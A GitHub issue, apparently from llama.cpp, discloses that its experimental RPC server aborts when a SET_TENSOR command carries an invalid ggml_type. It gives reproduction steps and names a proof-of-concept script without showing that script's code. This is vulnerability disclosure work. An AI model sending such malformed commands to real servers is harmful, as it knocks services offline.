Misc. bug: RPC server crash on SET_TENSOR
with invalid ggml_type
#13067
Labels
SET_TENSOR
with invalid ggml_type
#13067
Name and Version
Operating systems
Mac
Which llama.cpp modules do you know to be affected?
Other (Please specify in the next section)
Command line
Problem description & steps to reproduce
Description
NOTE: This was originally reported as a security advisory. After discussing with the maintainers this has now been disclosed as a public issue, since the RPC server is still an experimental feature (see RPC example).
The
rpc-server
crashes when processing anRPC_CMD_SET_TENSOR
command if the provided data contains an invalidggml_type
value within therpc_tensor
structure. The server doesn't validate thetype
field read from the network before using it internally. This leads to a failed assertion (GGML_ASSERT(type >= 0 && type < GGML_TYPE_COUNT)
) during tensor deserialization (likely inggml_new_tensor_4d
), causing the server process toabort()
.Expected Behavior
The server should validate the
ggml_type
read from theSET_TENSOR
data before passing it to GGML functions. If the type is invalid, the server should:Actual Behavior
The server reads the invalid
ggml_type
(e.g., 65 if the payload starts with 'A' bytes) and uses it internally. AGGML_ASSERT
checking the type validity fails, causing the server process to terminate viaabort()
. The client typically sees the connection break unexpectedly.Steps to Reproduce
git clone [email protected]:ggml-org/llama.cpp.git && cd llama.cpp
rpc-server
binary:cmake -B build . -DGGML_RPC=ON && cd build && cmake --build . --config Release --target rpc-server
build
directory:./bin/rpc-server -p 50052
poc_rpc_crash.py
):python poc_rpc_crash.py
Debugger backtrace to confirm crash:
First Bad Commit
5e31828
Relevant log output
The text was updated successfully, but these errors were encountered: